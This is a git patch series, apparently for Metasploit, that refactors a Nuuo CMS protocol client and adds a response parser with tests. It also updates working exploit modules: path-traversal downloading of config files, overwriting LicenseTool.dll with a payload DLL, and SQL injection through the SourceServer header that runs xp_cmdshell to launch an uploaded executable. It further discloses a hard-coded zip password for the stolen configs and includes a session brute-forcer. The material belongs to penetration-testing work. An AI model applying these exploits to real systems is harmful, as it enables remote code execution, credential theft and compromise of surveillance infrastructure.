the client has a session' do + let(:client_user_session) {'client'} + + it 'uses the client session' do + expect(ping_request.to_s).to match('User-Session-No: client') + end + end + end + + end + + describe '#request_sendlicfile' do + subject(:sendlicfile_request) { + opts = { + 'file_name' => filename, + 'data' => data + } + client.request_sendlicfile(opts).to_s + } + let(:filename) {'TestFile'} + let(:data) {'testdata'} + + it 'returns a SENDLICFILE client request' do + expect(sendlicfile_request).to start_with('SENDLICFILE') + end + + context 'given file_name' do + it 'sets the FileName header with the value' do + expect(sendlicfile_request).to match("[^\r\n]\r\nFileName: TestFile\r\n") + end + end + + context 'given no file_name' do + let(:filename) {nil} + + it 'creates an empty FileName header' do + expect(sendlicfile_request).to match("[^\r\n]\r\nFileName: \r\n") + end + end + + context 'given data' do + it 'sets the body to the data contents' do + expect(sendlicfile_request).to end_with("\r\n\r\ntestdata") + end + + it 'sets the Content-Length header with data length' do + expect(sendlicfile_request).to match("[^\r\n]\r\nContent-Length: 8\r\n") + end + end + + context 'given no data' do + let(:data) {nil} + it 'creates an empty body' do + expect(sendlicfile_request).to end_with("\r\n\r\n") + end + + it 'set Content-Length header to 0' do + expect(sendlicfile_request).to match("[^\r\n]\r\nContent-Length: 0\r\n") + end + end + end + + describe '#request_getconfig' do + subject(:getconfig_request) { + opts = { + 'file_name' => filename, + 'file_type' => filetype + } + client.request_getconfig(opts).to_s + } + let(:filename) {'TestName'} + let(:filetype) {2} + + it 'returns a GETCONFIG client request' do + expect(getconfig_request).to start_with('GETCONFIG') + end + + context 'given file_name' do + it 'sets the FileName header' do + expect(getconfig_request).to match("[^\r\n]\r\nFileName: TestName\r\n") + end + end + + context 'given no file_name' do + let(:filename) {nil} + it 'creates an empty FileName header' do + expect(getconfig_request).to match("[^\r\n]\r\nFileName: \r\n") + end + end + + context 'given a file_type' do + it 'sets the FileType header' do + expect(getconfig_request).to match("[^\r\n]\r\nFileType: 2\r\n") + end + end + + context 'given no file_type' do + let(:filetype) {nil} + it 'defaults to 1' do + expect(getconfig_request).to match("[^\r\n]\r\nFileType: 1\r\n") + end + end + end + + describe '#request_commitconfig' do + subject(:commitconfig_request) { + opts = { + 'file_name' => filename, + 'file_type' => filetype, + 'data' => data + } + client.request_commitconfig(opts).to_s + } + let(:filename) {'TestName'} + let(:filetype) {2} + let(:data) {'testdata'} + + it 'returns a COMMITCONFIG client request' do + expect(commitconfig_request).to start_with('COMMITCONFIG') + end + + context 'given file_name' do + it 'sets the FileName header' do + expect(commitconfig_request).to match("[^\r\n]\r\nFileName: TestName\r\n") + end + end + + context 'given no file_name' do + let(:filename) {nil} + + it 'creates an empty FileName header' do + expect(commitconfig_request).to match("[^\r\n]\r\nFileName: \r\n") + end + end + + context 'given file_type' do + it 'sets the FileType header' do + expect(commitconfig_request).to match("[^\r\n]\r\nFileType: 2\r\n") + end + end + + context 'given no file_type' do + let(:filetype) {nil} + + it 'creates an empty FileType header' do + expect(commitconfig_request).to match("[^\r\n]\r\nFileType: 1\r\n") + end + end + + context 'given data' do + it 'sets the request body to the data' do + expect(commitconfig_request).to end_with("\r\n\r\ntestdata") + end + + it 'sets Content-Length to data length' do + expect(commitconfig_request).to match("[^\r\n]\r\nContent-Length: 8\r\n") + end + end + + context 'given no data' do + let(:data) {nil} + + it 'creates an empty request body' do + expect(commitconfig_request).to end_with("\r\n\r\n") + end + + it 'creates Content-Length header with 0' do + expect(commitconfig_request).to match("[^\r\n]\r\nContent-Length: 0\r\n") + end + end + end + + describe '#request_userlogin' do + subject(:userlogin_request) { + opts = { + 'server_version' => server_version, + 'username' => username, + 'password' => password + } + client.request_userlogin(opts).to_s + } + let(:server_version) {'1.1.1'} + let(:username) {'user'} + let(:password) {'pass'} + + it 'returns a USERLOGIN client request' do + expect(userlogin_request).to start_with('USERLOGIN') + end + + context 'given server_version' do + it 'sets Version header with value' do + expect(userlogin_request).to match("[^\r\n]\r\nVersion: 1.1.1\r\n") + end + end + + context 'given no server_version' do + let(:server_version) {nil} + + it 'creates an empty Version header' do + expect(userlogin_request).to match("[^\r\n]\r\nVersion: \r\n") + end + end + + context 'when client has username' do + let(:client_username) {'client_user'} + + context 'given username' do + it 'sets the Username header with opts username' do + expect(userlogin_request).to match("[^\r\n]\r\nUsername: user\r\n") + end + end + + context 'given no username' do + let(:username) {nil} + + it 'creates an Username header with client username' do + expect(userlogin_request).to match("[^\r\n]\r\nUsername: client_user\r\n") + end + end + end + + context 'when client has no username' do + context 'given username' do + it 'sets the Username header with value' do + expect(userlogin_request).to match("[^\r\n]\r\nUsername: user\r\n") + end + end + + context 'given no username' do + let(:username) {nil} + + it 'creates an empty Username header' do + expect(userlogin_request).to match("[^\r\n]\r\nUsername: \r\n") + end + end + end + + context 'when client has password' do + let(:client_password) {'client_pass'} + + context 'given password' do + it 'sets body with password' do + expect(userlogin_request).to end_with("\r\n\r\npass") + end + + it 'sets Password-Length header' do + expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 4\r\n") + end + end + + context 'given no password' do + let(:password) {nil} + + it 'sets body to client password' do + expect(userlogin_request).to end_with("\r\n\r\nclient_pass") + end + + it 'creates Password-Length with client password length' do + expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 11\r\n") + end + end + end + + context 'when client has no password' do + context 'given password' do + it 'sets body with password' do + expect(userlogin_request).to end_with("\r\n\r\npass") + end + + it 'sets Password-Length header' do + expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 4\r\n") + end + end + + context 'given no password' do + let(:password) {nil} + + it 'sets empty body' do + expect(userlogin_request).to end_with("\r\n\r\n") + end + + it 'creates Password-Length with 0' do + expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 0\r\n") + end + end + end + + end + + describe '#request_getopenalarm' do + subject(:getopenalarm_request) { + opts = { + 'device_id' => device_id, + 'source_server' => source_server, + 'last_one' => last_one + } + client.request_getopenalarm(opts).to_s + } + let(:device_id) {nil} + let(:source_server) {nil} + let(:last_one) {nil} + + it 'returns a GETOPENALARM client request' do + expect(getopenalarm_request).to start_with('GETOPENALARM') + end + + context 'given device_id' do + let(:device_id) {2} + + it 'sets DeviceID header with value' do + expect(getopenalarm_request).to match("[^\r\n]\r\nDeviceID: 2\r\n") + end + end + + context 'given no device_id' do + it 'sets DeviceID header to 1' do + expect(getopenalarm_request).to match("[^\r\n]\r\nDeviceID: 1\r\n") + end + end + + context 'given source_server' do + let(:source_server) {2} + + it 'sets SourceServer header with value' do + expect(getopenalarm_request).to match("[^\r\n]\r\nSourceServer: 2\r\n") + end + end + + context 'given no source_server' do + it 'set SourceServer header to 1' do + expect(getopenalarm_request).to match("[^\r\n]\r\nSourceServer: 1\r\n") + end + end + + context 'given last_one' do + let(:last_one) {2} + + it 'sets LastOne header with value' do + expect(getopenalarm_request).to match("[^\r\n]\r\nLastOne: 2\r\n") + end + end + + context 'given no last_one' do + it 'sets LastOne to 1' do + expect(getopenalarm_request).to match("[^\r\n]\r\nLastOne: 1\r\n") + end + end + end +end From e85147a5f2b4facb53dcbe976cec8311885fed3c Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 19 Apr 2019 14:23:53 -0500 Subject: [PATCH 04/16] Add nuuo response Parse server responses --- lib/rex/proto/nuuo/response.rb | 96 ++++++++++++++++++++++++++++++++++ 1 file changed, 96 insertions(+) create mode 100644 lib/rex/proto/nuuo/response.rb diff --git a/lib/rex/proto/nuuo/response.rb b/lib/rex/proto/nuuo/response.rb new file mode 100644 index 000000000000..76f974235e56 --- /dev/null +++ b/lib/rex/proto/nuuo/response.rb @@ -0,0 +1,96 @@ +# -*- coding:binary -*- + +module Rex +module Proto +module Nuuo +class Response + + module ParseCode + Completed = 1 + Partial = 2 + Error = 3 + end + + module ParseState + ProcessingHeader = 1 + ProcessingBody = 2 + Completed = 3 + end + + attr_accessor :headers + attr_accessor :body + attr_accessor :bufq + attr_accessor :state + + def initialize(buf=nil) + self.state = ParseState::ProcessingHeader + self.headers = {} + self.body = '' + self.bufq = '' + parse(buf) if buf + end + + # returns state of parsing + def parse(buf) + self.bufq << buf + + if self.state == ParseState::ProcessingHeader + parse_header + end + + if self.state == ParseState::ProcessingBody + if self.body_bytes_left == 0 + self.state = ParseState::Completed + else + parse_body + end + end + + (self.state == ParseState::Completed) ? ParseCode::Completed : ParseCode::Partial + end + + protected + attr_accessor :body_bytes_left + + def parse_header + head,body = self.bufq.split("\r\n\r\n", 2) + return nil unless body + + get_headers(head) + self.bufq = body || '' + self.body_bytes_left = 0 + + if self.headers['Content-Length'] + self.body_bytes_left = self.headers['Content-Length'].to_i + end + + self.state = ParseState::ProcessingBody + end + + def parse_body + return if self.bufq.length == 0 + if self.body_bytes_left >= 0 + part = self.bufq.slice!(0, self.body_bytes_left) + self.body << part + self.body_bytes_left -= part.length + else + self.body_bytes_left = 0 + end + + if self.body_bytes_left == 0 + self.state = ParseState::Completed + end + end + + def get_headers(head) + head.each_line.with_index do |l, i| + next if i == 0 + k,v = l.split(':', 2) + self.headers[k] = v.strip + end + end + +end +end +end +end From a7d02d49d8548fe1ac9434cd0fe3040710712fbe Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 19 Apr 2019 14:24:37 -0500 Subject: [PATCH 05/16] Update mixin and client for response --- lib/msf/core/exploit/nuuo.rb | 51 ++++++++++++++++++++++++------------ lib/rex/proto/nuuo/client.rb | 34 +++++++++++++++++++++--- 2 files changed, 64 insertions(+), 21 deletions(-) diff --git a/lib/msf/core/exploit/nuuo.rb b/lib/msf/core/exploit/nuuo.rb index 72aff1f2f0f6..36b217478318 100644 --- a/lib/msf/core/exploit/nuuo.rb +++ b/lib/msf/core/exploit/nuuo.rb @@ -52,15 +52,33 @@ def connect(global=true) c end - def ncs_send_request(req) + def generate_req(opts={}) + case opts['method'] + when 'PING' then client.request_ping(opts) + when 'SENDLICFILE' then client.request_sendlicfile(opts) + when 'GETCONFIG' then client.request_getconfig(opts) + when 'COMMITCONFIG' then client.request_getconfig(opts) + when 'USERLOGIN' then client.request_userlogin(opts) + when 'GETOPENALARM' then client.request_getopenalarm(opts) + else nil + end + end + + def ncs_send_request(opts={}, req=nil, temp: true) + req = generate_req(opts) unless req + return nil unless req + if datastore['NCSTRACE'] print_status("Request:\r\n#{req.to_s}") end - res = client.send_recv(req) + conn = temp ? client.connect(temp: temp) : nil + res = client.send_recv(req, conn) + conn.shutdown if conn - if datastore['NCSTRACE'] - print_status("Response:\r\n#{res}") + if datastore['NCSTRACE'] && res + print_status("Response:\r\n#{res.headers}") + print_status("Response:\r\n#{res.body}") end res @@ -83,13 +101,13 @@ def ncs_login return nil end - req = client.request_userlogin({ - 'server_version' => server_version - }) + res = ncs_send_request({ + 'method' => 'USERLOGIN', + 'server_version' => server_version + }, temp: false) - res = ncs_send_request(req) - if res =~ /User-Session-No: ([a-zA-Z0-9]+)/ - self.user_session = $1 + if res.headers['User-Session-No'] + self.user_session = res.headers['User-Session-No'] end res @@ -98,21 +116,20 @@ def ncs_login def ncs_version_bruteforce res = '' Rex::Proto::Nuuo::Constants::VERSIONS.shuffle.each do |version| - req = client.request_userlogin({ - 'server_version' => version - }) begin - res = ncs_send_request(req) + res = ncs_send_request({ + 'method' => 'USERLOGIN', + 'server_version' => version + }) rescue - print_error('The connection was closed') + print_error('Request failed') end client.close - if res =~ /User-Session/ + if res && res.headers['User-Session-No'] vprint_good("Valid version detected: #{version}") return version end - res = '' end return nil diff --git a/lib/rex/proto/nuuo/client.rb b/lib/rex/proto/nuuo/client.rb index aeb4af8176c2..03ecbfbf5965 100644 --- a/lib/rex/proto/nuuo/client.rb +++ b/lib/rex/proto/nuuo/client.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/proto/nuuo/client_request' +require 'rex/proto/nuuo/response' module Rex module Proto @@ -74,17 +75,42 @@ def close self.connection = nil end - def send_recv(req, conn=nil) + def send_recv(req, conn=nil, t=-1) send_request(req, conn) - read_response(conn) + read_response(conn, t) end def send_request(req, conn=nil) conn ? conn.put(req.to_s) : connect.put(req.to_s) end - def read_response(conn=nil) - data = conn ? conn.get_once : connection.get_once + def read_response(conn=nil, t=-1) + res = Response.new + conn = connection unless conn + + return res if not t + Timeout.timeout((t < 0) ? nil : t) do + parse_status = nil + while (!conn.closed? && + parse_status != Response::ParseCode::Completed && + parse_status != Response::ParseCode::Error + ) + begin + buff = conn.get_once + parse_status = res.parse(buff || '') + rescue ::Errno::EPIPE, ::EOFError, ::IOError + case res.state + when Response::ParseState::ProcessingHeader + res = nil + when Response::ParseState::ProcessingBody + res.error = :truncated + end + break + end + end + end + + res end def user_session_header(opts) From e0266b45437b94878c8259dd4cd531c41a169610 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 19 Apr 2019 14:26:35 -0500 Subject: [PATCH 06/16] Update nuuo module aux:nuuo_cms_file_download --- .../gather/nuuo_cms_file_download.rb | 45 +++++++++++-------- 1 file changed, 26 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index 33f19cfc8d5c..dc436a6fe49c 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -45,42 +45,49 @@ def initialize(info = {}) register_options( [ - OptString.new('FILE', [false, 'Additional file to download, use ..\\ to traverse directories from \ - the CMS install folder']) + OptInt.new('DEPTH', [true, 'Directory traversal depth [..\]', 2]), + OptString.new('FILE', [false, 'Additional file to download']) ]) end - def download_file(file_name, ctype='application/zip', decrypt=true) - dl_file = nucs_download_file(file_name, decrypt) - file_name = file_name.gsub('..\\', '') + def download_file(file_name, ctype='application/zip', depth=2) + res = ncs_send_request({ + 'method' => 'GETCONFIG', + 'user_session' => user_session, + 'file_name' => %{#{"..\\"*depth}#{file_name}} + }) + return nil unless res path = store_loot(file_name, ctype, datastore['RHOST'], - dl_file, file_name, "Nuuo CMS #{file_name} downloaded") + res.body, file_name, "Nuuo CMS #{file_name} downloaded") print_good("Downloaded file to #{path}") end - def run - nucs_login + connect + res = ncs_login - unless @nucs_session - fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') + unless res + fail_with(Failure::NoAccess, "Failed to login to Nuuo CMS") end download_file('CMServer.cfg') download_file('ServerConfig.cfg') - # note that when (if) archive/zip is included in msf, the code in the Nuuo mixin needs to be changed - # see the download_file method for details - print_status('The user and server configuration files were stored in the loot database.') - print_status('The files are ZIP encrypted, and due to the lack of the archive/zip gem,') - print_status('they cannot be decrypted in Metasploit.') - print_status('You will need to open them up with zip or a similar utility, and use the') - print_status('password NUCMS2007! to unzip them.') - print_status('Annoy the Metasploit developers until this gets fixed!') + info = %q{ + The user and server configuration files were stored in the loot database. + The files are ZIP encrypted, and due to the lack of the archive/zip gem, + they cannot be decrypted in Metasploit. + You will need to open them up with zip or a similar utility, and use the + password NUCMS2007! to unzip them. + Annoy the Metasploit developers until this gets fixed! + } + print_status("\r\n#{info}") if datastore['FILE'] - filedata = download_file(datastore['FILE'], 'application/octet-stream', false) + download_file(datastore['FILE'], 'application/octet-stream', datastore['DEPTH']) end + + client.close end end From 01b1c42b1aa83dc98cb8d88c254add57060051f3 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 22 Apr 2019 08:13:59 -0500 Subject: [PATCH 07/16] Update nuuo client spec --- spec/lib/rex/proto/nuuo/client_spec.rb | 35 ++++++++++++++++++++------ 1 file changed, 27 insertions(+), 8 deletions(-) diff --git a/spec/lib/rex/proto/nuuo/client_spec.rb b/spec/lib/rex/proto/nuuo/client_spec.rb index a1db6bae79ec..87329d9a64db 100644 --- a/spec/lib/rex/proto/nuuo/client_spec.rb +++ b/spec/lib/rex/proto/nuuo/client_spec.rb @@ -16,7 +16,6 @@ let(:client_password) {nil} describe '#connect' do - context 'given udp option when created' do let(:protocol) {'udp'} @@ -123,13 +122,21 @@ describe '#send_recv' do context 'given no connection is passed in' do - it 'uses client connection' do - tcp_connection = double('tcp_connection') - allow(tcp_connection).to receive(:put) - allow(tcp_connection).to receive(:get_once) - client.connection = tcp_connection + it 'calls send_request without connection' do + allow(client).to receive(:send_request) do |*args| + expect(args[1]).to be_nil + end + allow(client).to receive(:read_response) + + client.send_recv('test') + end + + it 'calls read_resposne without connection' do + allow(client).to receive(:read_response) do |*args| + expect(args[0]).to be_nil + end + allow(client).to receive(:send_request) - expect(tcp_connection).to receive(:put) client.send_recv('test') end end @@ -141,7 +148,7 @@ client.connection = tcp_connection allow(passed_connection).to receive(:put) - allow(passed_connection).to receive(:get_once) + allow(client).to receive(:read_response) expect(passed_connection).to receive(:put) client.send_recv('test', passed_connection) @@ -149,6 +156,18 @@ end end + describe '#read_response' do + let(:res) {"NUCM/1.0 200\r\nTest:test\r\nContent-Length:1\r\n\r\na"} + it 'returns a Response object' do + tcp_connection = double('tcp_connection') + allow(tcp_connection).to receive('closed?') {false} + allow(tcp_connection).to receive('get_once') {res} + client.connection = tcp_connection + + expect(client.read_response).to be_a_kind_of(Rex::Proto::Nuuo::Response) + end + end + describe '#request_ping' do subject(:ping_request) { opts = {'user_session' => user_session} From d7c8c9ffff4b61f6f88568192029875bae0da0a7 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 22 Apr 2019 08:14:25 -0500 Subject: [PATCH 08/16] Add nuuo response spec --- spec/lib/rex/proto/nuuo/response_spec.rb | 26 ++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 spec/lib/rex/proto/nuuo/response_spec.rb diff --git a/spec/lib/rex/proto/nuuo/response_spec.rb b/spec/lib/rex/proto/nuuo/response_spec.rb new file mode 100644 index 000000000000..9f93563e7312 --- /dev/null +++ b/spec/lib/rex/proto/nuuo/response_spec.rb @@ -0,0 +1,26 @@ +# -*- coding:binary -*- +require 'rex/proto/nuuo/response' + +RSpec.describe Rex::Proto::Nuuo::Response do + subject(:response) {described_class.new} + let(:header) {'Header'} + let(:hvalue) {'Value'} + let(:body) {'test'} + let(:data) {"NUCM/1.0 200\r\n#{header}:#{hvalue}\r\nContent-Length:4\r\n\r\n#{body}"} + + describe '#parse' do + it 'returns a ParseCode' do + expect(response.parse(data)).to eq(Rex::Proto::Nuuo::Response::ParseCode::Completed) + end + + it 'sets the headers' do + response.parse(data) + expect(response.headers[header]).to eq(hvalue) + end + + it 'sets the body' do + response.parse(data) + expect(response.body).to eq(body) + end + end +end From d4728c9bc75cad19a59dcca3d442b045f21f84ba Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 22 Apr 2019 10:16:05 -0500 Subject: [PATCH 09/16] Call correct function --- lib/msf/core/exploit/nuuo.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/nuuo.rb b/lib/msf/core/exploit/nuuo.rb index 36b217478318..60d280475e9f 100644 --- a/lib/msf/core/exploit/nuuo.rb +++ b/lib/msf/core/exploit/nuuo.rb @@ -57,7 +57,7 @@ def generate_req(opts={}) when 'PING' then client.request_ping(opts) when 'SENDLICFILE' then client.request_sendlicfile(opts) when 'GETCONFIG' then client.request_getconfig(opts) - when 'COMMITCONFIG' then client.request_getconfig(opts) + when 'COMMITCONFIG' then client.request_commitconfig(opts) when 'USERLOGIN' then client.request_userlogin(opts) when 'GETOPENALARM' then client.request_getopenalarm(opts) else nil From 80a68de17d7dfc599aabeb10feb6ed5b5ebd310d Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 23 Apr 2019 06:27:12 -0500 Subject: [PATCH 10/16] Keep response status --- lib/rex/proto/nuuo/response.rb | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/nuuo/response.rb b/lib/rex/proto/nuuo/response.rb index 76f974235e56..9b7fc7f5471d 100644 --- a/lib/rex/proto/nuuo/response.rb +++ b/lib/rex/proto/nuuo/response.rb @@ -19,6 +19,9 @@ module ParseState attr_accessor :headers attr_accessor :body + attr_accessor :protocol + attr_accessor :status_code + attr_accessor :message attr_accessor :bufq attr_accessor :state @@ -26,6 +29,9 @@ def initialize(buf=nil) self.state = ParseState::ProcessingHeader self.headers = {} self.body = '' + self.protocol = nil + self.status_code = nil + self.message = nil self.bufq = '' parse(buf) if buf end @@ -84,7 +90,11 @@ def parse_body def get_headers(head) head.each_line.with_index do |l, i| - next if i == 0 + if i == 0 + self.protocol,self.status_code,self.message = l.split(' ', 3) + self.status_code = self.status_code.to_i if self.status_code + next + end k,v = l.split(':', 2) self.headers[k] = v.strip end From 5686319271ebd33533cb769a2ad2ecb80b040c65 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 23 Apr 2019 06:28:57 -0500 Subject: [PATCH 11/16] Update nuuo_cms_fu Use the updated mixin/rex implementation --- modules/exploits/windows/nuuo/nuuo_cms_fu.rb | 40 ++++++++++++++------ 1 file changed, 29 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_fu.rb b/modules/exploits/windows/nuuo/nuuo_cms_fu.rb index cc4112775992..a09dbdef8f02 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_fu.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_fu.rb @@ -76,29 +76,47 @@ def on_new_session(client) end end - def exploit - nucs_login + def upload_file(filename, data) + res = ncs_send_request({ + 'method' => 'COMMITCONFIG', + 'file_name' => "..\\..\\#{filename}", + 'user_session' => user_session, + 'data' => data + }) + end - unless @nucs_session - fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') - end + def exploit + connect + res = ncs_login + fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') unless res # Download and upload a backup of LicenseTool.dll, so that we can restore it at post # and not nuke the CMS installation. @dll = rand_text_alpha(12) print_status("Backing up LicenseTool.dll to #{@dll}") - dll_data = nucs_download_file('LicenseTool.dll') - nucs_upload_file(@dll, dll_data) + + ltool = 'LicenseTool.dll' + res = ncs_send_request({ + 'method' => 'GETCONFIG', + 'file_name' => "..\\..\\#{ltool}", + 'user_session' => user_session + }) + dll_data = res.body + + upload_file(@dll, dll_data) print_status('Uploading payload...') - nucs_upload_file('LicenseTool.dll', generate_payload_dll) + upload_file(ltool, generate_payload_dll) print_status('Sleeping 15 seconds...') Rex.sleep(15) print_status('Sending SENDLICFILE request, shell incoming!') - license_data = rand_text_alpha(50..350) - nucs_send_msg(['SENDLICFILE', "FileName: #{rand_text_alpha(3..11)}.lic", - 'Content-Length: ' + license_data.length.to_s], license_data) + res = ncs_send_request({ + 'method' => 'SENDLICFILE', + 'file_name' => "#{rand_text_alpha(3..11)}.lic", + 'user_session' => user_session, + 'data' => rand_text_alpha(50..350) + }) end end From 0174d1dd7e1eed4aa54361d1f073bff07fb1ee80 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 23 Apr 2019 06:29:51 -0500 Subject: [PATCH 12/16] Update nuuo_cms_sqli Use updated nuuo mixin/rex --- .../exploits/windows/nuuo/nuuo_cms_sqli.rb | 33 +++++++++---------- 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index 92bc3862bd9b..66b9745dd0c3 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -57,13 +57,14 @@ def initialize(info={}) end - def inject_sql(sql, final = false) - sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"] - if final - nucs_send_msg_async(sql) - else - nucs_send_msg(sql) - end + def inject_sql(sql) + res = ncs_send_request({ + 'method' => 'GETOPENALARM', + 'user_session' => user_session, + 'device_id' => "#{rand_text_numeric(4)}", + 'source_server' => "';#{sql};-- ", + 'last_one' => "#{rand_text_numeric(4)}" + }) end # Handle incoming requests from the server @@ -78,7 +79,7 @@ def on_request_uri(cli, request) Rex.sleep(3) print_status('Executing shell...') - inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true) + inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\"")) register_file_for_cleanup("c:/windows/temp/#{@filename}") end @@ -112,24 +113,20 @@ def primer end def exploit - nucs_login - - unless @nucs_session - fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') - end + connect + ncs_login + fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') unless user_session @pl = generate_payload_exe #do not use SSL - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end + ssl = datastore['SSL'] + datastore['SSL'] = false begin Timeout.timeout(datastore['HTTPDELAY']) {super} rescue Timeout::Error - datastore['SSL'] = true if ssl_restore + datastore['SSL'] = ssl end end end From aba88243d78e5a950b64b45d47aba8c2400bbbaf Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 23 Apr 2019 10:47:40 -0500 Subject: [PATCH 13/16] Add nuuo resposne string --- lib/msf/core/exploit/nuuo.rb | 3 +-- lib/rex/proto/nuuo/response.rb | 15 +++++++++++++++ 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/nuuo.rb b/lib/msf/core/exploit/nuuo.rb index 60d280475e9f..c4793637d565 100644 --- a/lib/msf/core/exploit/nuuo.rb +++ b/lib/msf/core/exploit/nuuo.rb @@ -77,8 +77,7 @@ def ncs_send_request(opts={}, req=nil, temp: true) conn.shutdown if conn if datastore['NCSTRACE'] && res - print_status("Response:\r\n#{res.headers}") - print_status("Response:\r\n#{res.body}") + print_status("Response:\r\n#{res.to_s}") end res diff --git a/lib/rex/proto/nuuo/response.rb b/lib/rex/proto/nuuo/response.rb index 9b7fc7f5471d..ae1f672dbea4 100644 --- a/lib/rex/proto/nuuo/response.rb +++ b/lib/rex/proto/nuuo/response.rb @@ -36,6 +36,21 @@ def initialize(buf=nil) parse(buf) if buf end + def to_s + s = '' + return unless self.protocol + s << self.protocol + s << " #{self.status_code}" if self.status_code + s << " #{self.message}" if self.message + s << "\r\n" + + self.headers.each do |k,v| + s << "#{k}: #{v}\r\n" + end + + s << "\r\n#{self.body}" + end + # returns state of parsing def parse(buf) self.bufq << buf From acf7e58e8e535e1c5d775061d78f013445df31ec Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 24 Apr 2019 07:00:53 -0500 Subject: [PATCH 14/16] Nuuo mixin handle connection errors --- lib/msf/core/exploit/nuuo.rb | 31 +++++++++++++++++++++++-------- 1 file changed, 23 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/nuuo.rb b/lib/msf/core/exploit/nuuo.rb index c4793637d565..3a1317ed89fd 100644 --- a/lib/msf/core/exploit/nuuo.rb +++ b/lib/msf/core/exploit/nuuo.rb @@ -43,7 +43,8 @@ def connect(global=true) host: datastore['RHOST'], username: datastore['NCSUSER'], password: datastore['NCSPASS'], - user_session: datastore['NCSSESSION'] + user_session: datastore['NCSSESSION'], + context: { 'Msf' => framework, 'MsfExploit' => self } }) client.close if self.client && global @@ -72,15 +73,29 @@ def ncs_send_request(opts={}, req=nil, temp: true) print_status("Request:\r\n#{req.to_s}") end - conn = temp ? client.connect(temp: temp) : nil - res = client.send_recv(req, conn) - conn.shutdown if conn + begin + conn = temp ? client.connect(temp: temp) : nil + res = client.send_recv(req, conn) + if conn && temp + conn.shutdown + conn.close + end - if datastore['NCSTRACE'] && res - print_status("Response:\r\n#{res.to_s}") - end + if datastore['NCSTRACE'] && res + print_status("Response:\r\n#{res.to_s}") + end - res + res + rescue ::Errno::EPIPE, ::Timeout::Error => e + print_line(e.message) if datastore['NCSTRACE'] + nil + rescue Rex::ConnectionError => e + vprint_error(e.to_s) + nil + rescue ::Exception => e + print_line(e.message) if datastore['NCSTRACE'] + raise e + end end def ncs_login From b0498d099144436c1322a2a53af09756c6eb38e0 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 24 Apr 2019 07:01:42 -0500 Subject: [PATCH 15/16] Update nuuo bruteforce module Module was updated to use the changes in the nuuo mixin --- modules/auxiliary/gather/nuuo_cms_bruteforce.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/nuuo_cms_bruteforce.rb b/modules/auxiliary/gather/nuuo_cms_bruteforce.rb index 8581e959a3fb..9de368acb329 100644 --- a/modules/auxiliary/gather/nuuo_cms_bruteforce.rb +++ b/modules/auxiliary/gather/nuuo_cms_bruteforce.rb @@ -119,10 +119,17 @@ def session_number_list(weighted_array) def session_bruteforce_list(weighted_array) list = session_number_list(weighted_array) for session in list - @nucs_session = session - data = nucs_send_msg(['PING']) + req = client.request_ping({ + 'method' => 'PING', + 'user_session' => session + }) + # module fails when shutdown/close lots of connections + # create own connection and dont call close + conn = client.connect(temp: true) + res = client.send_recv(req, conn) + @counter += 1 - if data[0] =~ /OK/ || data[0] =~ /612/ + if res && res.status_code == 200 return session end end @@ -130,6 +137,7 @@ def session_bruteforce_list(weighted_array) end def run + connect @counter = 0 print_status('Bruteforcing session - this might take a while, go get some coffee!') session = nil From f3a820b47507af1d3777bd2e4bf22d39e452bc01 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 24 Apr 2019 14:24:30 -0500 Subject: [PATCH 16/16] Remove protocol option Only tcp is supported for the mixin. --- lib/msf/core/exploit/nuuo.rb | 1 - lib/rex/proto/nuuo.rb | 2 -- lib/rex/proto/nuuo/client.rb | 9 ++------- spec/lib/rex/proto/nuuo/client_spec.rb | 8 -------- 4 files changed, 2 insertions(+), 18 deletions(-) diff --git 